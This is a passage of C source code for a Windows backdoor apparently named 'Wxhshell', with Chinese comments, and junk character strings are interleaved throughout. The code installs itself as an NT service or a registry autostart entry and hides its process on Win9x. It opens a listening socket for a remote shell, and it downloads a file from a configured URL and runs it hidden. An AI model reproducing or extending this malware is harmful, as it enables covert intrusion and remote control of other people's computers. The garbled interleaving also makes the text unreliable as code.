B char procName[255]; W US[hx, unsigned long cbNeeded; H|JPqBNRh TF R8 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G)t_;iNL| o<cg9 CloseHandle(hProcess); U[,."w]T iHBetkAu if(strstr(procName,"services")) return 1; // 以服务启动 H65><38X/ >pdWR1ox return 0; // 注册表启动 `\ _>P@qz } M#Kke9%2 Y7vUdCj // 主模块 MVP|l_2! int StartWxhshell(LPSTR lpCmdLine) _Wg?H:\ { 'guXdX]Gu SOCKET wsl; 3CcCcZ9I BOOL val=TRUE; h}0}g]IUx int port=0; o^+2%S`] struct sockaddr_in door; Lz6b9W B>C+qj@ if(wscfg.ws_autoins) Install(); =S+*=j A Z(F['Zf port=atoi(lpCmdLine); [ICFPY6 S#Q0aGj if(port<=0) port=wscfg.ws_port; JJe8x4
!:Z
lVIA WSADATA data; >-oB%T if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KTtB!4by
8L1vtYz if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Ec'Hlsgh&T setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nQ*9E|Vx door.sin_family = AF_INET; X\4d|VJ?m door.sin_addr.s_addr = inet_addr("127.0.0.1"); fJ<I|ZZ door.sin_port = htons(port); Q3"{v0 zbY2gq@? if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7XzhKA6 closesocket(wsl); p+7G return 1; ;z2\ Q$ } ?qC6p|H vbBNXy/ if(listen(wsl,2) == INVALID_SOCKET) { ahICx{hK closesocket(wsl); ^#( B4l! return 1; ty ESDp% } {&dbxj-' Wxhshell(wsl); "%peYNZ&% WSACleanup(); Fc&3tw"g 76::X:76 return 0;
}_mVXjF _+7+90u } .q90+9Ek= ]y0bgKTK // 以NT服务方式启动 epN!+(v VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JkShtLEr { 2NMg+Lt8v DWORD status = 0; / <C{$Gu DWORD specificError = 0xfffffff; IN8G4\r lQl!TW"aO serviceStatus.dwServiceType = SERVICE_WIN32; )2sE9G, serviceStatus.dwCurrentState = SERVICE_START_PENDING; S2i*Li serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~k"r serviceStatus.dwWin32ExitCode = 0; ^yLhL^Y serviceStatus.dwServiceSpecificExitCode = 0; ThvgYv--B serviceStatus.dwCheckPoint = 0; _ sqj~|K serviceStatus.dwWaitHint = 0; \+)aYP2Hu "_^vQ1M]Z hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _^/k if (hServiceStatusHandle==0) return; 9\'JtZO `' .;U=mF status = GetLastError(); HVd y!J if (status!=NO_ERROR) CP'b,}Dd?I { 'kOkwGf! serviceStatus.dwCurrentState = SERVICE_STOPPED; Y1Q240 serviceStatus.dwCheckPoint = 0; k=W~ot& serviceStatus.dwWaitHint = 0; )-\C{> serviceStatus.dwWin32ExitCode = status; 6o0}7T%6 serviceStatus.dwServiceSpecificExitCode = specificError; &t~NR$@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); S;0z%$y return; n1U! od } \wV^uS O=[Q>\p serviceStatus.dwCurrentState = SERVICE_RUNNING; N_^PoX935O serviceStatus.dwCheckPoint = 0; u{- @,-{ serviceStatus.dwWaitHint = 0; q4#$ca[_ak if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5rb<u>e{ } O llS 3qW]( // 处理NT服务事件,比如:启动、停止 B[.$<$}G VOID WINAPI NTServiceHandler(DWORD fdwControl) z+Guu8 { v,'k2H switch(fdwControl) ;kI)j
? { 4Ei8G]O
$_ case SERVICE_CONTROL_STOP: [g bFs-B2/ serviceStatus.dwWin32ExitCode = 0; 1Q_Q-Z serviceStatus.dwCurrentState = SERVICE_STOPPED; KpBOmXE serviceStatus.dwCheckPoint = 0; 0u;a*#V @ serviceStatus.dwWaitHint = 0; ds9U9t { h#p[6}D SetServiceStatus(hServiceStatusHandle, &serviceStatus); htT9Hrx } {'Y()p3kl return; ;`O9YbP# case SERVICE_CONTROL_PAUSE: [uwn\- serviceStatus.dwCurrentState = SERVICE_PAUSED; ?y-@c] break; &MZ{B/;;H case SERVICE_CONTROL_CONTINUE: bf=!\L$ serviceStatus.dwCurrentState = SERVICE_RUNNING; 2 g\O/oz break; *knN?`(x case SERVICE_CONTROL_INTERROGATE: CNe(]HIOH break; kQ]4Bo }; |:.s6a# ( SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6B|OKwL } !gJTKQX4 K?nQsT;3p // 标准应用程序主函数 @d5$OpL$% int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >V?W_oM) { ^F'~|zc"C H:EK&$sU // 获取操作系统版本 w&@zJ [ OsIsNt=GetOsVer(); xM=ydRu GetModuleFileName(NULL,ExeFile,MAX_PATH);
E-%$1=; R$!]z( // 从命令行安装 [+d~He if(strpbrk(lpCmdLine,"iI")) Install(); 4{Q$^wD+. W__Y^\~ // 下载执行文件 ,)uW`7 if(wscfg.ws_downexe) { g:O/~L0Xb if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^&\pY WinExec(wscfg.ws_filenam,SW_HIDE); qnHjw Mi } ]- 6q`'?[ %"cOX if(!OsIsNt) { k')H5h+Q= // 如果时win9x,隐藏进程并且设置为注册表启动 [,MaAB HideProc(); L8q#_k StartWxhshell(lpCmdLine); RH{+8?0 } QLU <%w:B else 2ql)]Skg6 if(StartFromService()) cuC'
o\f // 以服务方式启动 KWxTN|> StartServiceCtrlDispatcher(DispatchTable); ?2_h. else =;GmLi3A // 普通方式启动 q %j8Js StartWxhshell(lpCmdLine); {Q[ G/=mx
:f:&B8 return 0;
lI%RdA[ }
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